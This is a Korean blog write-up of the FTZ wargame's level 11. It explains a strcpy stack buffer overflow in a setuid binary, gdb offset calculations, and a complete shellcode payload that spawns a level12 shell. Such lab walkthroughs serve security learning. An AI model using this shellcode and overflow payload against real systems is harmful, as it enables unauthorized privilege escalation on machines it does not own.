FTZ level11 풀이
FTZ level11 풀이
level 11의 홈디렉터리 내용이다. level12 권한으로 setuid가 걸린 attackme 라는 파일이 눈에 띈다.
hint 파일을 출력해보자
hint 파일을 cat으로 열어보면 c 소스코드가 출력된다. 해석해보도록 하자
strcpy 함수는 NULL 문자 전까지의 문자열을 복사하는 함수이다. strcpy 함수에는 취약점이 존재하는데 바로 문자열의 길이를 검사
하지 않기 때문에 버퍼의 크기보다 더 큰 문자열이 들어갈 경우 오버 플로우가 발생한다는 것이다.
그리고 입력 받는 문자의 크기가 str 배열의 크기인 256을 넘었을때에 관련된 처리가 없다.
이것은 곧 입력 문자열을 조절해서 RET 값 변조가 가능하다는 것을 의미한다.
attackme 프로그램에 level12의 권한으로 setuid가 설정되어 있다. 이 프로그램이 실행되는 동안에 my-pass 나 /bin/bash 같은
명령어를 실행시킨다면 level12의 패스워드를 획득 할 수 있을것이다. /binbash 를 메모리 상에서 실행시키기 위해서는
shell code를 사용해야 한다.
shell code는 /bin/bash, /bin/sh 와 같은 셸을 실행시켜주는 코드이다. 이코드는 보통 c 언어로 이루어져있고 이것을 기계어로 변환시켜 최종적으로 결과물을 16진수의 코드로 만든것이다.
<Shell Code>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
우리는 공격을 시도하기 전에 공격에 사용할 argv[1]의 주소와 str 버퍼에서 ret 시작점 까지의 거리를 알아야한다.
그러기 위해서는 attackme 프로그램을 디버깅 해야한다. /tmp 디렉터리로 복사 하자.
우선 argv[1]의 주소를 알아보자
gdb 명령어로 디버깅을 시작했다. 그리고 b *main 명령어로 프로그램 시작과 동시에 브레이크 포인트를 잡아줬다.
r `python -c 'print "A" *256'` 로 argv[1]에 A를 채워주자.
0x41 hex값이 보이는데 이것은 A의 ascii 코드 값이다.
argv[1]의 시작주소 = bffffb2c + 9 = bffffb36
버퍼에서 RET까지의 거리는 EBP - str[256]의 주소 + 4(ebp에서 ret까지의 거리) 이런식으로 구하면된다.
그러기 위해 우선 EBP의 값을 알아보도록 하자
main+1 부분이 ESP의 값을 EBP에 복사하는 부분이다. 쉽게 말해 현재 함수의 EBP가 결정되는 부분.
main+3 부분에 브레이크 포인트를 걸어서 EBP의 값을 확인해보도록 하자
b *main+3 명령어로 브레이크 포인트를 잡은 뒤, r 'python -c 'print "A"*256'` 명령어로 프로그램 시작과 동시에 python을 통해 A를 256번 입력해서 실행한다. 그리고 info reg 명령어로 EBP의 값을 확인하면된다.
EBP = 0xbffff9e8
이제 str[256] 의 버퍼 시작 주소를 알아보자.
strcpy(main+48부분) 함수가 실행완료된 시점(main+53)에 브레이크 포인트를 추가했다. (str에 값이 들어가는 지점이기 때문)
c 로 main+3에서 새로운 브레이크 포인트인 main+53까지 실행시켰다
/90x $esp 명령을 사용하면 esp가 지금 가르키고 있는 위치의 메모리부터 90Byte 까지의 메모리를 확인 할 수 있다.
A의 ascii 코드값인 0x41이 시작되는 부분인 0xbffff8e0 이 str[256]의 주소
str[256]의 주소 = 0xbffff8e0
이제 버퍼에서 ret 까지의 거리를 계산해보도록 하자
0xbffff9e8 - 0xbffff8e0 + 4 = 108 +4 = 0x10c(16진수) = 268(10진수)
str 버퍼에서 ret 까지의 거리 = 268 Byte
이제 본격적으로 페이로드를 작성해보자 .
./attackme `python -c 'print "[쉘코드]"+"A"*[숫자]+"[argv[1]주소]"'`
우선 숫자부분에 들어갈 수를 계산해보자.
268(str버퍼에서 ret까지의 거리) - 41(쉘코드 길이)
숫자=227
그리고 나머지 부분을 채워 넣으면 페이로드가 완성된다.
./attackme `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*227+"\x36\xfb\xff\xbf"'`
위 페이로드를 실행하니 쉘이 실행되었고 my-pass 명령어를 통해 level12의 패스워드를 출력시켰다.
level11 clear ~
'System Hacking > FTZ' 카테고리의 다른 글
FTZ level13 풀이 (0) | 2017.07.04 |
---|---|
FTZ level12 풀이 (1) | 2017.07.04 |
FTZ level10 풀이 (0) | 2017.06.30 |
FTZ level9 풀이 (0) | 2017.06.30 |
FTZ level8 풀이 (0) | 2017.06.30 |